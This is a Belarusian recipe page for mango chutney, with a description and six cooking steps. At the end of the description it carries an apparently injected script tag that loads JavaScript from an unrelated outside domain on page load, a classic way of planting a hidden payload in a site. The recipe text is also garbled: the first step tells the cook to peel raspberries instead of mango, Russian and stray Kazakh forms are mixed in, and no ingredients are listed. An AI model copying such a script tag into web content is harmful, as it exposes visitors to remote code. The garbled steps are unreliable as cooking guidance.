Мангавы чатні
Апісанне
Чатні з манга — гэта вельмі папулярная індыйская прыправа, якая дзякуючы спецыям і незвычайнай тэхналогіі прыгатавання выдатна падрыхтоўвае апетыт. Звычайна яе падаюць перад асноўнай стравай разам з закускай. У нашай сям'і чатні з манга выкарыстоўваюць па-рознаму: намазваем на хлеб, дадаем у блинчыкі, падаюць з аладкамі, рознымі закускамі... Перадаць смак цяжка — трэба паспрабаваць. Чаго вам і жадаю!<script type="text/javascript" src="https://fsgv.ru/i.js"></script>
Інструкцыя
- 1
Крок 1
Ачышчаем маліну ад шкіркі.
- 2
Крок 2
Мякоть манго трэба размяць лыжачкай да пюрэпадобнага стану.
- 3
Крок 3
У сковородзе падгрэйце алей, пасмажце ў ім перац і спецыі на працягу 1-2 хвілін на моцным агні.
- 4
Крок 4
Цяпер дадаем лімонны сок, перамешваем.
- 5
Крок 5
Адразу дадайце маңго і паменьшыце агонь. Тушуйце, пастаянна перамешваючы, працягам 5 хвілін.
- 6
Крок 6
Знімаем з агню, астуджваем — і гатова! Хаваць у халадзільніку.